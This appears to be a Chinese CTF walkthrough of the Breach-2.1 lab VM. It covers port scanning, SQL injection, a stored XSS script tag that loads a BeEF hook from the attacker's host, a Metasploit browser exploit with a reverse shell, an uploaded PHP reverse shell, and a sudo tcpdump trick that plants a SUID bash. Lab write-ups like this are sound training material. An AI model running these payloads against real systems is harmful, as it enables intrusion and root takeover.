Breach-2.1

news2024/11/17 10:29:07

靶场环境说明

该靶场是静态IP地址,需要更改网络配置,攻击机kali做了两张网卡;

信息收集

# nmap -sT --min-rate 10000 -p- 192.168.110.151 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:47 CST
Stats: 0:00:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 74.36% done; ETC: 10:47 (0:00:02 remaining)
Nmap scan report for 192.168.110.151
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
111/tcp   open  rpcbind
40653/tcp open  unknown
65535/tcp open  unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds

开放端口信息为三个,分别是111,40653,65535三个端口,111端口上是rpc,远程过程调用!

# nmap -sT -sC -sV -O -p111,40653,65535 192.168.110.151 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:48 CST
Nmap scan report for 192.168.110.151
Host is up (0.00076s latency).

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34417/tcp6  status
|   100024  1          40653/tcp   status
|   100024  1          45426/udp6  status
|_  100024  1          57938/udp   status
40653/tcp open  status  1 (RPC #100024)
65535/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey: 
|   1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
|   2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|   256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
|_  256 3b:4d:56:37:5e:c3:45:75:15:cd:85:00:4f:8b:a8:5e (ED25519)
MAC Address: 00:0C:29:DA:80:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开放端口的详细信息探测结果显示65535端口是openssh! 剩下的两个端口是rpc服务!

# nmap -sT --script=vuln -p111,40653,65535 192.168.110.151 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:50 CST
Nmap scan report for 192.168.110.151
Host is up (0.00054s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
40653/tcp open  unknown
65535/tcp open  unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 23.34 seconds

默认漏洞脚本探测的结果没什么能用的!探测一下UDP端口!

# nmap -sU --min-rate 10000 -p- 192.168.110.151 -oN udp.nmap            
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 10:57 CST
Warning: 192.168.110.151 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.110.151
Host is up (0.00078s latency).
Not shown: 65454 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT      STATE SERVICE
111/udp   open  rpcbind
5353/udp  open  zeroconf
57938/udp open  unknown
MAC Address: 00:0C:29:DA:80:1A (VMware)

udp端口显示开放端口同样是三个,分别是111和5353 zeroconf 以及57938端口!

寻找立足点

探测了一下rpc的服务信息:

对于RPC服务的渗透测试还是不熟悉,不知道该如何寻找立足点,之前见过2049端口上的NFS服务存在信息泄露!但是这里并没有2049端口~

这里ssh登录root的时候,看到了提示用户peter 和 密码 inthesource尝试进行登录:

但是连接关闭了~ 后面发现网站可以访问!后续再次对端口进行探测,发现了80端口:

源码中式上面的信息,看起来似乎并没有什么提示信息!利用gobuster进行目录的探测,发现了两个目录:

一个是images 另一个是blog目录!

images目录是403状态,但是访问blog目录出现了上面的信息!尝试利用之前的账号和密码信息进行登录:

但是上面拿到的凭据信息也是不对的,为了验证自己获得的这组凭据没错,利用hydra进行了测试:

路径发现了用户admin!

看到search界面,尝试利用sqlmap跑一下:

发现了两个数据库信息:

尝试读取oscommerce数据库中的信息:

读取到了一个用户admin的密码,尝试解密:

后面一直拿到什么突破点,看了大佬们的wp,用的XSS,XSS一直都是被自己忽略的getshell方式~

发现了xss的利用,需要用到beef工具!apt install beef-xss进行安装!之后启动命令为:

kali之beef的使用_kali没有beef-CSDN博客

beef-xss: 需要修改一下默认的密码!

之后正常的登陆即可!根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.2:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可

提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端:

然后看beef的panel!

之后再根据Redirect Browse配合metasploit拿个反弹shell:

use exploit/multi/browser/firefox_proto_crmfrequest 
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.2
set uripath shell
set lhost 192.168.110.2
run

将得到的地址,放到beef中执行!

之后成功收到了会话,准备提权!但是这个会话极不稳定!需要做一下持久化处理!首先,查找 post shell to meterpreter:

search post shell to meterpreter
use 5 
set lhost 192.168.110.2
set sessions 1
run

第二个就是我们建立的持久化会话!

查看/etc/passwd文件!发现了两个用户!

查看sudo权限,发现了apache2的文件!推测前面ssh登陆不成功,寻找ssh的配置文件,于是在/etc/ssh目录下面找到了ssh的配置文件

在最下面发现了强制执行了startme,判断可能与ssh无法建立连接有关系!

于是查看这个文件,发现他启动apache服务,怪不得我们ssh连接之后,再次扫描端口信息,发现了80端口运行了!尝试覆盖掉.bashrc文件!这样就可以在ssh连接后保持shell

之后发现了网站的目录下面,还存在着html2,看到了里面oscommerce!发现了一个端口2323!

利用telnet进行连接查看,发现了回显一个经纬度,还需要我们输入用户名和密码信息,google搜索了一下这个经纬度:

发现了houston!不知道是用户名还是密码!用户名的话也就是之前我们看到了/etc/passwd文件中的用户名,可以拿来尝试下!

但是问我们订书机是什么!??

后面发现了/usr/local/bin/cd.py这个文件比较特殊,还存在stapler关键字!查看文件中的内容!

看了里面的内容,发现答案是mine!再次连接2323端口:

执行完成之后,发现了我们当前的用户已经变了,milton用户!初步的提权成功!后面看到了隐藏文件.profile:

sudo权限执行了nginx,此时再次查看端口信息,发现了8888端口!

后面查看端口上的服务,发现了:

后面尝试添加了admin路径,发现了登录的界面,因为之前我们在80端口上发现了sql注入,拿到了密码!所以尝试寻找了后台登陆界面!

利用之前的账号和密码信息,进行登录!解密的密码是32,但是一直没能成功登录,使用admin/admin登陆成功!

找到了一个文件上传的地方!但是一直没能成功的上传,后来在include目录下面找到了一个可写的目录:

这里上传了反弹shell,监听地址为192.168.110.2 5555端口,上传之后,访问http://192.168.110.151:8888/oscommerce/includes/work/php-reverse-shell.php,同时监听:

查看sudo权限!

发现了无密码以root身份执行tcpdump!

切换到 tmp 目录,构造1.sh 脚本文件以实现提权(将 /bin/bash 复制至 /tmp/shell,并添加SUID)

然后执行GTOFbins中给出的 sudo 命令,实现脚本利用

cd /tmp
echo '#!/bin/bash' >> 1.sh
echo 'cp /bin/bash /tmp/shell' >> 1.sh
echo 'chmod +s /tmp/shell' >> 1.sh
chmod +x 1.sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root

tcpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量

最后,在 /tmp中提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1506458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java通过poi-tl生成word

我看公司之前做电子合同&#xff0c;使用TIBCO jaspersoft做的报表模板&#xff0c;如果是给自己公司开发或者给客户做项目&#xff0c;这个也没有什么&#xff0c;因为反正模板是固定的&#xff0c;一次性开发&#xff0c;不用担心后续的问题。即使后期有调整&#xff0c;改一…

深入解读 Elasticsearch 磁盘水位设置

本文将带你通过查看 Elasticsearch 源码来了解磁盘使用阈值在达到每个阶段的处理情况。 跳转文章末尾获取答案 环境 本文使用 Macos 系统测试&#xff0c;512M 的磁盘&#xff0c;目前剩余空间还有 60G 左右&#xff0c;所以按照 Elasticsearch 的设定&#xff0c;ES 中分片应…

总结:Spring创建Bean循环依赖问题与@Lazy注解使用详解

总结&#xff1a;Spring创建Bean循环依赖问题与Lazy注解使用详解 一前提知识储备&#xff1a;1.Spring Bean生命周期机制&#xff08;IOC&#xff09;2.Spring依赖注入机制&#xff08;DI&#xff09;&#xff08;1&#xff09;Autowired注解标注属性set方法注入&#xff08;2&…

面具安装LSP模块时提示 Unzip error错误的解决办法

面具(Magisk Delta)安装LSP模块时提示 Unzip error错误的解决办法 ​​ 如果前面的配置都正常的话&#xff0c;可能是LSP版本有问题重新去Github下载一个最新版的吧&#xff1b;我是这么解决的。 我安装1.91那个版本的LSP就是死活安装不上&#xff0c;下载了1.92的版本一次就…

Golang-channel合集——源码阅读、工作流程、实现原理、已关闭channel收发操作、优雅的关闭等面试常见问题。

前言 面试被问到好几次“channel是如何实现的”&#xff0c;我只会说“啊&#xff0c;就一块内存空间传递数据呗”…所以这篇文章来深入学习一下Channel相关。从源码开始学习其组成、工作流程及一些常见考点。 NO&#xff01;共享内存 Golang的并发哲学是“要通过共享内存的…

⭐每天一道leetcode:83.删除排序链表中的重复元素(简单;链表遍历、删除经典题目)

⭐今日份题目 给定一个已排序的链表的头 head &#xff0c; 删除所有重复的元素&#xff0c;使每个元素只出现一次 。返回 已排序的链表 。 示例1 输入&#xff1a;head [1,1,2] 输出&#xff1a;[1,2] 示例2 输入&#xff1a;head [1,1,2,3,3] 输出&#xff1a;[1,2,3] …

Linux 进程程序替换

&#x1f493;博主CSDN主页:麻辣韭菜-CSDN博客&#x1f493;   ⏩专栏分类&#xff1a;http://t.csdnimg.cn/G90eI⏪   &#x1f69a;代码仓库:Linux: Linux日常代码练习&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Linux知识   &#x1f51d;&#x1f5…

考研经验|如何从考研失败中走出来?

对我来说&#xff0c;太丢人了 其实我在本科的时候在同学眼中&#xff0c;一直很优秀&#xff0c;每年奖学金必有我的&#xff0c;国家励志奖学金&#xff0c;国家奖学金&#xff0c;这种非常难拿的奖学金&#xff0c;我也拿过&#xff0c;本科期间学校有一个公费去新西兰留学的…

美化console

console简介 控制台&#xff08;Console&#xff09;是JS开发里最重要的面板&#xff0c;主要作用是显示网页加载过程中产生各类信息,我们经常使用console.log()这个函数在控制台打印一些东西 但是,console这个对象不仅仅有log这个函数,还有很多其他的函数,如下 console.de…

vue学习笔记22-组件传递多种数据类型props效验

组件传递多种数据类型 通过props传递数据&#xff0c;不仅可以传递字符串类型的数据&#xff0c;还可以是其他类型&#xff0c;例如&#xff1a;数字、对象、数组等&#xff0c;但实际上任何类型的值都可以作为props的值被传递&#xff08;即组件与组件之间的传递是没有限制的…

Text Field文本输入框

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 Text Field文本输入框 一、最基本的本文输入框1、基础示例2、一些表单属性3、验证 二、多行文本 一、最基本的本文输入框 1、基础示例 import {Box, TextField} from "…

CSS拖曳盒子案例

让我为大家带来一个小案例吧&#xff01; <!DOCTYPE html> <html><head><meta charset"utf-8"><title></title><style>* {margin: 0;padding: 0;}.box1 {width: 100px;height: 100px;background-color: black;margin-bot…

基于springboot+layui仓库管理系统设计和实现

基于 java springbootlayui仓库管理系统设计和实现 博主介绍&#xff1a;多年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐留言 文末获取…

HarmonyOS(二)Ability应用模型概述

目录 1 Ability概念 2 Ability形态 3 Stage优势 4 Stage模型结构 5 总结 注&#xff1a;本章内容提前声明。 基于HarmonyOS开发者3.1/4.0版本配套的开发者文档&#xff0c;对应API能力级别为API 9 Release。 详情可参考官网API入门第一章应用模型文档中心 1 Ability概念…

机器学习(五) -- 监督学习(1) -- 线性回归

系列文章目录 机器学习&#xff08;一&#xff09; -- 概述 机器学习&#xff08;二&#xff09; -- 数据预处理&#xff08;1-3&#xff09; 机器学习&#xff08;三&#xff09; -- 特征工程&#xff08;1-2&#xff09; 机器学习&#xff08;四&#xff09; -- 模型评估…

【LeetCode: 212. 单词搜索 II - dfs】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

harmonyos arkts 开发商品页面

1.结果展示 2. 实现分层组件 1.1 实现搜索栏 1.2 代码 这段代码是一个构建搜索框组件的方法&#xff0c;具体功能包括&#xff1a; - 创建一个Search组件&#xff0c;设置初始值为this.keyword&#xff0c;placeholder为请输入书名... - 添加一个搜索按钮&#xff0c;并设置…

【UVM_phase objection_2024.03.08

phase 棕色&#xff1a;function phase 不消耗仿真时间 绿色&#xff1a;task phase 消耗仿真时间 run_phase与右边的phase并行执行&#xff0c;右边的phase&#xff08;run_time phase&#xff09;依次执行&#xff1a; List itemreset_phase对DUT进行复位&#xff0c;初始…

嵌入式学习day34 网络

TCP包头: 1.序号:发送端发送数据包的编号 2.确认号:已经确认接收到的数据的编号(只有当ACK为1时,确认号才有用) TCP为什么安全可靠: 1.在通信前建立三次握手连接 SYN SYNACK ACK 2.在通信过程中通过序列号和确认号保障数据传输的完整性 本次发送序列号:上次…

LVS+Keepalived 高可用负载均衡集群

一. 高可用集群的相关知识 1.1 高可用&#xff08;HA&#xff09;集群和普通集群的比较 ① 普通集群 普通的群集的部署是通过一台度器控制调配多台节点服务器进行业务请求的处理&#xff0c;但是仅仅是一台调度器&#xff0c;就会存在极大的单点故障风险&#xff0c;当该调度…